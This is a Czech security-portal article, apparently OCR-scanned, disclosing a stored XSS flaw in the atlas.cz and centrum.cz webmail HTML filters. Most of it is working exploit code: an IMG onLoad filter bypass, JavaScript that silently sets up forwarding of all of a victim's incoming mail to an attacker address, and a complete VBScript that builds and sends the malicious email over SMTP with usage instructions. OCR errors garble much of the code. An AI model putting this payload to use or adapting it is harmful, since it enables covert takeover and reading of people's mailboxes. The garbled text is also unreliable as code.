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Security [5]
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Objevil jsem bezpecnostni trhlinu na dvou velkych Ceskych freemailech atlas.cz a centrum.cz,
pomoci které je mozné Cist postu libovolného uzivatele.

Zranitelnost se nachazi ve filtru, ktery odstranuje potencionalné nebezpecné
HTML elementy, nachazejici se v obsahu doslych emaild, formatovanych pomoci
HTML. Pomoci specidlné napsaného HTML kédu je mozné filtr obejit a vlozit do
téla emailu JavaScript. Pokud se uzivatel pfihlasi ke svému Uctu pres webové
rozhrani a zlomysliny e-mail otevre, script se provede v kontextu jeho session

s webovym serverem.

Filtr kontrolujici doslé emaily parsuje jejich obsah tak, ze vSechno, co se
nachazi mezi znaky < > povazuje za HTML tag, a to ostatni mimo za text.

V obsahu HTML tagu, tedy v fetézci, zacinajicim znakem < a koncici znakem >
pak hleda vyskyt urcitych klicovych slov a rfetézec, nachazejici se mimo necha
bez povSimnuti. Hledana kli¢ova slova predstavuji konstrukce, kterymi se do
HTML koédu vkladaji réizné client side scripty. Jsou to napfiklad nazvy tagu

jako <SCRIPT>, <OBJECT>, <APPLET>, a pak také nazvy atributl onLoad,
onKeyPress, onMouseMove atd. Pokud néco takového nalezne, odstrani cely HTML
element nebo atribut, spolu s jeho hodnotou, protoze tyto scripty umisténé v
obsahu emailové zpravy predstavuji riziko pro bezpecnost webové aplikace.
Chyba parseru je v tom, Ze prvni vyskyt znaku > po znaku < povazuje vzdy za
konec HTML tagu, i bez ohledu na to, Ze se znak > nachdzi v hodnoté atributu
uzavrené uvozovkami.

Napf. tento kéd
<IMG src="smile.gif" a="><BR>" onLoad="alert('Hello!');" b="<BR">

rozebere parser vyznamové takto:

Tag: <I M5 src="obrazek.gi f" a=">

Tag: <BR>

Text : " onLoad="alert('Hello!");" b="
Tag: <BR'>

Atribut onLoad="alert('Hello!');" se nachazi v ¢asti povazované parserem za
text, a proto ho filtr neodstrani. Webovy prohlizec¢ vSak ¢ast
onLoad="alert('Hello!");" bere jako atribut elementu IMG, kterym se priradi

k uddlosti onLoad akce provadénd JavaScriptem. Po kompletnim nacteni obrazku
ze zadaného zdroje je vyvolana udalost onLoad a JavaScript je proveden.
Atributy a="><BR>" a b="<BR" prohlize¢ ignoruje.

KdyZ uz zname zpUlsob, jak do téla emailu vlozit JavaScript, zbyvéa jenom
moznost, jak toho Sikovné vyuzit. V uzivatelském nastaveni emailové schranky
je k dispozici funkce tzv. filtrll, prostfednictvim které si mlze uzivatel
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nastavit napr. preposilani kopii doslych emailll na jim zadanou emailovou
adresu. Nastaveni se provede vyplnénim a odeslanim formulare, ve kterém se
zadavaji vlastnosti filtru. Formular se odesild pomoci HTTP protokolu metodou
GET nebo POST. VSechno, co potfebujeme je kéd v JavaScriptu, ktery odeSle data
z formulare zvolenou metodou. Priklad takového scriptu, ktery nastavi filtr

pro preposilani kopii doslych emailll na urcitou adresu ve schrance na freemailu
centrum.cz je zde

function createj (obj) {

try {
return new Acti veXObj ect (obj);

}
catch(e) {
return null;

}
}

function main() {
var userDir ="";
var xm Htp, p;
var fornDat a;
var filterld;
/* emuail ova adresa, na kterou bude prichozi posta preposilana */
var redirToAddr = "test123@lonain.cz";

i f (wi ndow. XMLHtt pRequest) {
xm Htp = new XM_Ht t pRequest () ;
}
el se {
if (xmMHtp = createCbj ("Msxm 2. XMLHTTP")) {
}
el se {
if (xmMHtp = createObj ("M crosoft. XM.HTTP")) {
}
el se {
return;
}
}
}

if ((p = location.pathnanme.indexO("/",1)) >= 0) {
userDir = | ocation. pat hnane. substring(0, p);

}

xm Htt p. open("POST", location.protocol + "//" + |ocation.host +
userDir + "/filters.php");

filterld "-" + (300 + Math.ceil (Mth.randon{) * 500));

formData = "cond_count =1&0p=2&f | d=0&sort =dd&f order top=" +
filterld + "& order _bottonm=0&val i dity=1& hour begi n=0" +
"& hour _end=24&f cond_1=2&f arg_1=&f ol der =0&addr ess=&r adi o=" +
"radi o7&copyaddress=" + escape(redirToAddr) +
"&emai |l _notification=&mbil_send part=" +
"&obi |l _send _part _|ist=%l0sns. eurotel.cz" +
"&sms_notification=&sns_notification |ist=%0sns.eurotel.cz" +
"&auto_reply=& order=" + filterld + "&subnmit=VIo%Eit";

xm Ht t p. set Request Header (" Cont ent - Type",
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"application/ x-ww« f ormurl encoded") ;

xm H t p. send(fornDat a) ;
}

mai n() ;

Uvedeny JavaScript je vhodné pred vloZzenim do odesilaného emailu jesté

zakdédovat, aby znaky, které obsahuje nijak neovliviiovaly parsovani HTML obsahu

kontrolnim filtrem. Provede se to jednoduse. Posloupnost znakd, ze kterych se

JavaScript skldda se prevede na posloupnost jejich ASCIl hodnot, oddélenych

¢arkou napf. ratézac ABCD se konvertuje na 65,66,67,68. K dekédovani se pak

pouzije metoda fromCharCode() tridy String a retézec, ktery vrati se preda
funkci eval(). Funkce eval() vyhodnoti retézec v jeho plvodni podobé jako
JavaScriptovy kéd.

<IMG src="snile.gif" a="><BR>"
onLoad="eval (String. fronChar Code(32, 102, 117, 110, ..))" b="<BR"'>

Na zdvér uvadim WSH script napsany ve VBScriptu, ktery email s exploitem
sestavi a odesle. Pokud uzivatel otevie email odeslany timto scriptem pres
webové rozhrani freemailu centrum.cz, kopie vSech zprév, které néasledné

obdrzi budou preposlany na emalovou adresu, zaddvanou jako vstupni argument.

Pouziti:
C:\CScript exploit.vbs <odesilatel> <prijente> <presmnerovat Na>
<odesilatel > - Emnil odesilatele

<prijence> - Emmil prijente
<presnerovatNa> - Email, na ktery bude posta preposil ana

Option Explicit

Di m W nsock

Mai n

Sub Ack
Di m buf, recei ved

buf = ""
Do Until Right(buf,?2) = vbCrLf
| f W nsock. Byt esReceived > 0 Then
W nsock. Get Dat a received, vbString, 1024
buf = buf & received

End If
W5cri pt. Sl eep 100
Loop

buf = Md(buf, 1, Len(buf) - 2)

If Left(buf,1) > "3" Then
Err.Raise 1, Wscript. ScriptNane,"Invalid response from server:
End I f

WScri pt. Echo "Response: " & buf
End Sub

& buf
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Sub Mail (ByVal renoteHost, ByVal renotePort,ByVal mail From ByVal nmail To,
ByVal headers, ByVal nessage)

Dimrecipients,recipient,reply, sendData
Set Wnsock = CreateObj ect (" MSW nSock. W nSock")

W nsock. Renot eHost = r enpt eHost
W nsock. Local Port = 0
W nsock. Renot ePort = renot ePort

W5cri pt. Echo "Connection to " & renoteHost & ":" & renotePort
W nsock. Connect
Do Until Wnsock. State = 7
Wscri pt. Sl eep 100
Loop

Ack

prijme pozdrav serveru

sendData = "HELO 127.0.0.1"

WScri pt. Echo "Send: " & sendData
W nsock. SendDat a sendData & vbCrLf
Ack

sendData = "MAIL FROM <" & mail From & ">"
Wscri pt. Echo "Send: " & sendData

W nsock. SendDat a sendData & vbCrLf

Ack

recipients = Split(mailTo,",")
For Each recipient In recipients
If recipient <> "" Then
sendData = "RCPT TO <" & recipient & ">"
W5cri pt. Echo "Send: " & sendDat a
W nsock. SendDat a sendData & vbCrLf
End | f
Ack
Next

sendDat a = " DATA"

WScri pt. Echo "Send: " & sendData
W nsock. SendDat a sendData & vbCrLf
Ack

Wscri pt. Echo "Send nessage body"

W nsock. SendDat a headers & vbCrLf & vbCrLf & nessage & _
vbCrLf & "." & vbCrLf

Ack

sendData = "QUI T"

Wscri pt. Echo "Send: " & sendData
W nsock. SendDat a sendData & vbCrLf
WScri pt. Echo " ose connecti on"

W nsock. Cl ose
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End Sub

Function QuotedPrintabl eEncode(ByVal str)
Di mi, char Code

Di m | i ne, newLi ne, encodedChar

Dimlength

length = Len(str)
i =1
Do Wiile i <= length
char Code = Asc(Md(str,i, 1))
newLi ne = Fal se
If charCode = 13 And i < length Then
If Md(str,i + 1,1) = vbLf Then newlLine = True
End | f

| f newLi ne Then

If Right(line,1) = vbTab O Right(line,1) =" " Then line =line & "="
Quot edPri nt abl eEncode = Quot edPri nt abl eEncode & line & vbCrLf
line = ""
i =i +1
El se

If ((32 <= charCode And charCode < 126) And charCode <> 61) O _

char Code = 9 Then

encodedChar = Chr (char Code)
El se
encodedChar
End I f
If Len(line) + Len(encodedChar) > 75 Then

"=" & Hex(charCode \ 16) & Hex(charCode Md 16)

& vbCrLf

Quot edPri nt abl eEncode = Quot edPri nt abl eEncode & line & "="
I i ne = encodedChar
El se
line = line & encodedChar
End If
End if
i =i +1
Loop
If Right(line,1) = vbTab O Right(line,1) =" " Then line =line & "="

Quot edPri nt abl eEncode = Quot edPri nt abl eEncode & line
End Functi on

Function checkEmai | Addr (ByVal enail Addr, user, host)
Dimparts,tenp,i,j

checkEmai | Addr = Fal se
user = ""

host =
parts = Split(email Addr," @)

I f UBound(parts) <> 1 Then
Exit Function
End I f

For i =0 To 1
tenp = LCase(parts(i))
If Len(tenp) > 0 Then
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For j = 1 To Len(tenp)
I f Instr("abcdef ghijkl mopqgrst uvwxyz0123456789. -",
Md(temp,j,1)) = 0 Then
Exit Function

End |f
Next
El se
Exit Function
End |f

Next

user = parts(0)

host = parts(1)

checkEmai | Addr = True
End Function

Function toChar Code(str)

Dimi
t oChar Code = ""
For i = 1 To Len(str) - 1
t oChar Code = toCharCode & CStr(Asc(Md(str,i,1))) &","
Next

If Len(str) > 0 Then
t oChar Code = toCharCode & CStr(Asc(Md(str,Len(str),1)))
End | f

End Functi on

Sub Main

Di m host, user

Di m nai | From nmai | To, redi rect To

Di m header, nessageBody, nessageText, nessageHTM.
Di m boundary1, boundary2, i mageCi d

DimjavaScri pt

Di m snt pSer vAddr

Dmi

I f Wscript. Argunments. Count <> 3 Then
W5cri pt. Echo "Pouziti: C\CScript " & Wacript.ScriptNanme & _
" <odesilatel > <prijence> <presnerovat Na>" & vbCrLf & vbCrLf &
" <odesilatel> - Email odesilatele" & vbCrLf & _
" <prijence> - Email prijence" & vbCrLf & _

<presnerovatNa> - Email, na ktery bude posta presnerovana"
Wscript.Quit 1
Exit Sub

End If

For i =0 To 2
I f Not checkEnmail Addr (Wbcri pt. Argunents. lten(i), user, host) Then
Wseri pt. Echo "Chybny E-mail. Argunent cislo " & (i + 1)
El se
If i =1 Then
| f LCase(host) <> "centrum cz" Then
WScri pt. Echo "Prijence nusi mt adresu na centrumcz"
Exit Sub
El se
snt pServAddr = "nmil 1. centrum cz"
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End If
End If
End If
Next

mai | From = Wscri pt. Argunents. I ten(0)
mai | To = WBcri pt. Argunments. lten(1)
redirectTo = WBcript. Argunments. |ten(2)

javaScript = _

"32,102, 117,110, 99, 116, 105, 111, 110, 32,99, 114, 101, 97,116, 101,79, " & _
"98, 106, 32, 40, 111, 98, 106, 41, 32, 123, 32, 116, 114, 121, 32,123, 32, 114," & _
"101, 116, 117, 114, 110, 32, 110, 101, 119, 32, 65, 99, 116, 105, 118, 101, 88, " & _
"79, 98, 106, 101, 99, 116, 40, 111, 98, 106, 41, 59, 32, 125, 32, 99, 97, 116,99, " & _
"104, 40, 101, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32,110, 117,108, " & _
"108, 59, 32, 125, 32, 125, 32,102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97," &
"105, 110, 40, 41, 32, 123, 32,118, 97, 114, 32, 117, 115, 101, 114, 68, 105, 114," &
"32,61, 32, 34, 34,59, 32,118, 97, 114, 32, 120, 109, 108, 72, 116, 116, 112, 44," &
"112,59, 32, 118, 97, 114, 32,102,111, 114, 109, 68, 97, 116, 97, 59, 32, 118," & _
"97,114, 32,102, 105, 108, 116, 101, 114, 73, 100, 59, 32,118, 97, 114, 32, 114," &
"101, 100, 105, 114, 84, 111, 65, 100, 100, 114, 32,61, 32,34," & _

t oChar Code(redirectTo) & _

", 34,59, 32,105, 102, 32, 40, 119, 105, 110, 100, 111, 119," & _

" 46, 88, 77, 76,72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 41, 32, 123," &
"32,120, 109, 108, 72, 116, 116, 112, 32, 61, 32, 110, 101, 119, 32,88, 77,76," &
"72,116,116,112,82,101, 113, 117, 101, 115, 116, 40, 41, 59, 32, 125, 32, 101, " & _
"108, 115, 101, 32, 123, 32, 105, 102, 32, 40, 120, 109, 108, 72, 116, 116, 112, " & _
"32,61,32,99, 114, 101, 97, 116, 101, 79, 98, 106, 40, 34, 77, 115, 120, 109, 108, " & _
"50, 46, 88, 77, 76, 72, 84, 84, 80, 34, 41, 41, 32, 123, 32, 125, 32, 101, 108, 115," & _
"101, 32, 123, 32, 105, 102, 32, 40, 120, 109, 108, 72, 116, 116, 112, 32,61, 32," & _
"99,114,101, 97, 116, 101, 79, 98, 106, 40, 34, 77, 105, 99, 114, 111, 115, 111, " & _
"102, 116, 46,88, 77,76, 72, 84, 84, 80, 34, 41, 41, 32, 123, 32, 125,32,9,32," & _
"101, 108, 115, 101, 32, 123, 32,9, 32, 114, 101, 116, 117, 114, 110, 59, 32, 125," & _
"32,125, 32,125, 32,105, 102, 32, 40, 40, 112, 32, 61, 32, 108, 111, 99, 97, 116, " & _
"105, 111, 110, 46, 112, 97, 116, 104, 110, 97, 109, 101, 46, 105, 110, 100, 101, " & _
"120, 79, 102, 40, 34, 47, 34, 44, 49, 41, 41, 32, 62, 61, 32, 48, 41, 32,123,32," & _
"117, 115,101, 114, 68, 105, 114, 32, 61, 32,108, 111, 99, 97, 116, 105, 111, 110," & _
"46,112,97, 116, 104, 110, 97, 109, 101, 46, 115, 117, 98, 115, 116, 114, 105, " & _
"110, 103, 40, 48, 44, 112, 41, 59, 32, 125, 32, 120, 109, 108, 72, 116, 116, 112," &
"46,111,112,101, 110, 40, 34, 80, 79, 83, 84, 34, 44, 32, 108, 111, 99, 97, 116, " &
"105, 111,110, 46, 112,114,111, 116, 111,99, 111, 108, 32, 43, 32, 34,47,47," &
"34, 32, 43, 32,108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 111, 115, 116,32," &
"43, 32,117, 115,101, 114, 68, 105, 114, 32, 43, 32, 34,47, 102, 105, 108, 116," &
"101, 114, 115, 46, 112, 104, 112, 34, 41, 59, 32, 102, 105, 108, 116, 101, 114, " & _
"73,100, 32, 61, 32, 34, 45, 34, 32, 43, 32, 40, 51, 48, 48, 32, 43,32, 77,97, 116," & _
"104, 46, 99, 101, 105, 108, 40, 77,97, 116, 104, 46, 114, 97, 110, 100, 111, 109," & _
"40, 41, 32, 42, 32, 53, 48, 48, 41, 41, 59, 32, 102, 111, 114, 109, 68, 97, 116, 97," & _
"32,61, 32, 34,99, 111, 110, 100, 95, 99, 111, 117, 110, 116, 61, 49, 38,111, 112," & _
"61, 50, 38, 102, 108, 100, 61, 48, 38, 115, 111, 114, 116, 61, 100, 100, 38, 102, " & _
"95,111, 114, 100, 101, 114, 95, 116, 111, 112, 61, 34, 32, 43, 32, 102, 105, 108, " & _
"116, 101, 114, 73, 100, 32, 43, 32, 34, 38, 102, 95, 111, 114, 100, 101, 114,95," & _
"98,111, 116, 116, 111, 109, 61, 48, 38, 118, 97, 108, 105, 100, 105, 116, 121, " & _
"61, 49, 38, 102, 95, 104, 111, 117, 114, 95, 98, 101, 103, 105, 110, 61, 48,38," & _
"102, 95,104, 111, 117, 114, 95, 101, 110, 100, 61, 50, 52, 34, 32,43,32,34," & _
" 38,102, 95,99, 111, 110, 100, 95, 49, 61, 50, 38, 102, 95, 97, 114, 103, 95,49, " &
"61, 38, 102, 111, 108, 100, 101, 114, 61, 48, 38, 97, 100, 100, 114, 101, 115, 115, "
"61, 38, 114, 97, 100, 105, 111, 61, 114, 97, 100, 105, 111, 55, 38,99, 111, 112," & _
"121, 97,100, 100, 114, 101, 115, 115, 61, 34, 32, 43, 32, 101, 115,99, 97, 112," &
"101, 40, 114, 101, 100, 105, 114, 84, 111, 65, 100, 100, 114, 41, 32,43, 32,34," &

Ro |
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"38, 101, 109, 97, 105, 108, 95, 110, 111, 116, 105, 102, 105, 99, 97, 116, 105," & _
"111, 110, 61, 38, 109, 111, 98, 105, 108, 95, 115, 101, 110, 100, 95, 112,97," & _
"114, 116, 61, 38, 109, 111, 98, 105, 108, 95, 115, 101, 110, 100, 95, 112,97," & _
"114, 116, 95, 108, 105, 115, 116, 61, 37, 52, 48, 115, 109, 115, 46, 101, 117, 114, " & _
"111, 116, 101, 108, 46, 99, 122, 34, 32, 43, 32, 34, 38, 115, 109, 115, 95, 110, " & _
"111, 116, 105, 102, 105, 99, 97, 116, 105, 111, 110, 61, 38, 115, 109, 115,95," & _
"110, 111, 116, 105, 102, 105, 99, 97, 116, 105, 111, 110, 95, 108, 105, 115, 116, " & _
"61, 37,52, 48, 115, 109, 115, 46, 101, 117, 114, 111, 116, 101, 108, 46, 99, 122," & _
"38,97,117, 116, 111, 95, 114, 101, 112, 108, 121, 61, 34, 32,43, 32,34,38," & _
"102, 95, 111, 114, 100, 101, 114, 61, 34, 32, 43, 32, 102, 105, 108, 116, 101, 114, " & _
"73, 100, 32, 43, 32, 34, 38, 115, 117, 98, 109, 105, 116, 61, 86, 108, 111, 37," & _
"57,69, 105, 116, 34, 59, 32,120, 109, 108, 72, 116, 116, 112, 46, 115, 101, 116," & _
"82,101, 113, 117, 101, 115, 116, 72, 101, 97, 100, 101, 114, 40, 34, 67, 111, 110, " & _
"116, 101, 110, 116, 45, 84, 121, 112, 101, 34, 44, 32, 34,97, 112, 112,108, 105," & _
"99, 97, 116, 105, 111, 110, 47, 120, 45, 119, 119, 119, 45, 102, 111, 114,109, " & _
"45,117, 114, 108, 101, 110, 99, 111, 100, 101, 100, 34, 41, 59, 32, 120, 109, 108, " & _
"72,116, 116, 112, 46, 115, 101, 110, 100, 40, 102, 111, 114, 109, 68, 97, 116, " & _
"97,41, 59, 32, 125, 32, 109, 97, 105, 110, 40, 41, 59, 32"

Random ze

i mageC d = Repl ace(Cstr(Rnd * 1000000),",","_") & " @\BCDEF"

messageText = "Zdravim tohle je email, ktery obsahuje skodlivy kod. " & _
"Jste-li prihlaseni pres webove rozhrani a otevreli jste ho, mamod " & _

"tohot o okanzi ku nbznost ci st veskerou postu, ktera Vamprijde."

nmessageHTM. = nessageText & "<IMs src=" & Chr(34) & "cid:" & inmageCd & _
Chr(34) &" a=" & Chr(34) & "><BR>" & Chr(34) & " onLoad=" & Chr(34) & _
"eval (String.fronChar Code(" & javaScript & "));" & Chr(34) &
" b=" & Chr(34) & "<BR' & Chr(34) & ">"

boundaryl = "=ABCDEF_000001"
boundary2 = "=ABCDEF_000002"
header = _

"From <" & mailFrom& ">" & vbCrLf &
"To: <" & mailTo & ">" & vbCrLf & _
"Subject: Dulezite sdeleni” & vbCrLf & _
"M ME-Version: 1.0" & vbCrLf & _

"Message-ID: <" & Replace(Cstr(Rnd * 1000000),","," ") & "@\BDCEF"& ">" & _
vbCrLf &

"Content-Type: nmultipart/related;" & vbCrLf & _

vbTab & "boundary=" & Chr(34) & boundaryl & Chr(34) & ";" & vbCrLf & _

vbTab & "type=" & Chr(34) & "multipart/alternative" & Chr(34)

nmessageBody = _
"This is a nmulti-part nessage in MMeE format." & vbCrLf & vbCrlLf

nmessageBody = nmessageBody & _

"--" & boundaryl & vbCrLf & _

"Content-Type: nultipart/alternative;" & vbCrLf & _

vbTab & "boundary=" & Chr(34) & boundary2 & Chr(34) & vbCrLf _
& vbCrLf & vbCrLf

nmessageBody = nessageBody &
"--" & boundary2 & vbCrLf & _
"Content-Type: text/plain;" & vbCrLf & _
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vbTab & "charset=" & Chr(34) & "wi ndows-1250" & Chr(34) & vbCrLf & _
"Content - Transf er - Encodi ng: quot ed-printable" & vbCrLf & vbCrLf & _
Quot edPri nt abl eEncode( nessageText) & vbCrLf & vbCrLf

nmessageBody = nmessageBody & _

"--" & boundary2 & vbCrLf & _

"Content-Type: text/htm ;" & vbCrLf &

vbTab & "charset=" & Chr(34) & "wi ndows-1250" & Chr(34) & vbCrLf & _
"Cont ent - Tr ansf er- Encodi ng: quoted-printable" & vbCrLf & vbCrLf &
Quot edPri nt abl eEncode( nessageHTM.) & vbCrLf & vbCrLf &

"--" & boundary2 & "--" & vbCrLf & vbCrlLf

messageBody = nessageBody & _

"--" & boundaryl & vbCrLf & _

"Content-Type: image/gif;" & vbCrLf & _

vbTab & "nanme=" & Chr(34) & "snmile.gif" & Chr(34) & vbCrLf & _
"Cont ent - Transf er - Encodi ng: base64" & vbCrLf & _

"Content-ID: <" & imgeCd & ">" & vbCrLf & vbCrLf &

" ROl GODI hDWAPAMY ACE 6Fwy | AAUYAI X8f ET6NhDbABHr ABLz AAVE AA/ SAA2Y A" &
"GI7WA/ LAAGIAIL8" & vbCOrLf & _

"i hDkADr 6K378dA7DABv5C D61 | 78hXX8apj 8kGv7YFb7SRLAAFZ7TO/ 7Chj 5B" &
"gAAAP/ | | yHSBAEA" & vbCrLf & _

" ABSALAAAAAAPAABAAAV64 Ce KXl NnO6FcOLKk YAJ+pdDr t BO2F443xVEQyHoj E8C' & _
"jyVollyTUoFBs8T" & vbCrLf & _

" GURKBA pl WriuMIhFJpt 7cBuKUoZDgAAG6uUi g67YF@Bpp4AhOl | CZ5BKYFXAOBAGIT" & _
"Rgi ED&gl i Eke" & vbCrLf & _

"RwkmlYi JPQTOCoaYSTOef | cxKSqQWKSEAON==" & vbCrLf & vbCrLf & _

"--" & boundaryl & "--" & vbCrlLf

Mai | snt pSer vAddr, 25, nai | From nai | To, header, messageBody
Wscri pt. ECho vbCrLf & "Message sent™

End Sub

Clanek naleznete i na autorové strance: http://callplayer.wz.cz/clanek.txt [7]

URL c¢lanku: https://www.security-portal.cz/clanky/exploit-na-mail-u-centrumcz-atlascz

Odkazy:

[1] https://www.security-portal.cz/users/mrsysel

[2] https://www.security-portal.cz/category/tagy/exploit

[3] https://www.security-portal.cz/category/tagy/hacked-gallery
[4] https://www.security-portal.cz/category/tagy/hacking

[5] https://www.security-portal.cz/category/tagy/security

[6] https://www.security-portal.cz/category/tagy/top-secret

[7] http://callplayer.wz.cz/clanek.txt
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